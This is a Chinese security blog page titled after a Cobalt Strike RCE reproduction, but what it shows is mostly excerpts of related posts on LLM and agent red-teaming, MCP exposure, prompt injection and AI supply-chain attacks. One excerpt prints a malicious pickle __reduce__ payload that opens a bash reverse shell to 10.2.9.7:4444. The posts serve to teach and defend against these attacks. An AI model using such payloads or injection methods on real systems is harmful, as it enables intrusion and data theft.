Cobalt Strike <=4.7 RCE漏洞复现-反制攻击者PC
本博客所有文章除特别声明外，均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Cr4at0r's Blog！
相关推荐
2022-11-24
PHPCMS 9.6.3后台任意文件写入getshell
2026-09-21
MCP暴露面的安全问题：从发现到利用
MCP（Model Context Protocol）是 Anthropic 在 2024 年底推出的开放协议，目标是让 LLM 能以标准化方式连接外部工具、数据库和服务。一年内已有数千个 MCP Server 实现，覆盖从数据库查询到 Kubernetes 操作的各类能力。 但 MCP 的设计起点是「方便接入」，不是「安全部署」。规范没有强制认证，工具列表是公开的能力清单，资源 URI 直接暴露内部路径——这些设计选择让 MCP Server 的暴露面比传统 HTTP API 大得多。 这篇文章把 MCP 的暴露面拆开：先看协议设计带来了哪些天然的攻击面，然后走一条完整的攻击链，最后给出具体的修复建议。 MCP 协议是什么MCP 基于 JSON-RPC 2.0，定义了 Client 与 Server 之间的通信方式。Server 暴露三类能力： Tools：LLM 可调用的函数，如 run_sql_query、deploy_to_k8s、send_email Resources：可读取的数据，如文件内容、数据库记录 Prompts：预定义的提示词模板 传输层经历了三代演进，...
2026-10-13
AI 红队不是传统渗透：安全人必须先重建的 6 个认知
最近学了一段时间的AI安全，我觉得传统红队经验能迁移到 AI 安全，但不能原样照搬。可以继续用侦察、攻击面枚举、权限提升、横向移动、证据链和报告表达这些思维方式，可是目标系统已经变了。 AI 红队不是「拿一堆越狱提示词去问模型」。那是测试里的一个片段，不是红队。真正的 AI 红队要回答的是：一个企业把模型、数据、工具、身份和业务流程接在一起之后，攻击者能不能让系统做出业务不希望它做的事？ 这篇是新版 AI 红队路线的起点，我把 AI-RTA 课件里的基础概念重组成更适合国内安全从业者的版本。它不讲数学推导，也不给可直接复用的攻击命令，重点是把六个常见误解掰开： AI 红队测的是系统，不只是模型； 攻击面不在端口列表里，而在数据流和权限图里； 基础设施、数据、模型、应用四类向量要串起来看； 输出不确定，证据链必须重新定义； 授权范围不只是“能不能访问某个 URL”； MITRE ATLAS 和 OWASP 是沟通地图，不是照抄剧本。 一、认知一：AI 红队测的是系统，不只是模型很多人把 AI 红队理解成“测试模型会不会被越狱”。这个理解太窄了。 模型当然重要，但在企业环境里，...
2026-09-20
LLM安全攻击面全景：一个红队视角的分析
做红队的时候，接到一个新目标，我做的第一件事不是找漏洞，而是画攻击面——把所有可能的入口、信任边界、数据流向全部列出来，然后再决定从哪里下手。 面对 AI 系统，我做同样的事。但很快我发现，传统侦察方法论在这里几乎完全失效。 你跑一遍 nmap、whatweb、dirb，目标只暴露一个 443 端口和一张干净的前端页面。所有流量都是规规矩矩的 HTTPS JSON。从外部看，这面墙光滑得没有缝。 但攻击面就在那里——只是不在端口上。 这篇文章，我先把 AI 系统的攻击面全部画出来——从模型到应用，从 Agent 到基础设施，包括多模态和安全性的维度——然后逐层拆开，讲清楚每个攻击面怎么被发现、底层问题是什么。 先看全景一个现代 AI 系统不是单一组件，是一个多层堆栈。每一层都有独立的攻击面，层与层之间还能组合成攻击链。 七个层级，加上三个跨层维度——这就是完整的攻击面。一次真实的攻击往往贯穿多层： 通过 HTTP 头确认模型版本（侦察）→ 利用提示注入覆盖安全指令（应用层）→ 控制 Agent 调用工具读取敏感数据（Agent 层）→ 通过 RAG 的 sources 字段外...
2026-10-04
AI供应链攻击：从模型文件到依赖包的信任危机
传统供应链攻击的落点是「代码」。AI 栈把它扩成了一个更模糊的问题：哪些文件会被「执行」。 .py 当然会；.pt 模型文件会；adapter.safetensors 不会执行代码，但会改变模型输出；tokenizer.json 只是两张映射表，改动两个整数就能让分类器失效。 这篇按「被执行的程度」从高到低写：pickle 反序列化、扫描器绕过、LoRA 投毒、tokenizer 操纵、依赖混淆。每一段给出可复现的最小代码和对应防御。 一、.pt 文件是代码，不是权重PyTorch 默认格式 .pt 底层是 Python pickle。pickle 的设计目标之一就是序列化「任意对象」，加载时执行构造指令。构造 RCE 不需要漏洞： 1234567import torch, osclass RevShell: def __reduce__(self): return (os.system, ("bash -c 'bash -i >& /dev/tcp/10.2.9.7/4444 0>&1'",...
2026-09-22
如何攻击单个Agent系统
和 Chatbot 相比，Agent 多出来的不只是「能调用工具」，还有一个更隐蔽的变化——决策链变长了。用户的问题会走这条链：意图识别 → 工具选择 → 参数构造 → 工具执行 → 结果回读 → 结果整合 → 回答用户。 这条链条上每一步都在用 LLM 做判断。攻击的着眼点因此变化：Chatbot 场景你要骗的是「模型的输出」，Agent 场景你要骗的是**「模型的决策」**——让它选错工具、拼错参数、把不可信数据当成可信指令。 而且 Agent 天然持有一套服务侧凭证：数据库连接串、内部 API 的 Bearer Token、文件系统的账号。普通用户拿不到的东西，Agent 都拿得到。把 Agent 骗过去，等于把服务权限转嫁给了攻击者。 这就是传统安全里 Confused Deputy（被滥用的合法代理人）问题在 AI 时代的翻版。 这篇文章把单 Agent 的攻击面按这条链路的位置拆开：枚举、决策阶段的提示注入、工具输出注入、参数注入、输出侧的利用。最后给出对应的防御设计。 一、Agent 架构的攻击面从哪来一个跑在 FastAPI 后面的典型企业内部 Agent，用户请...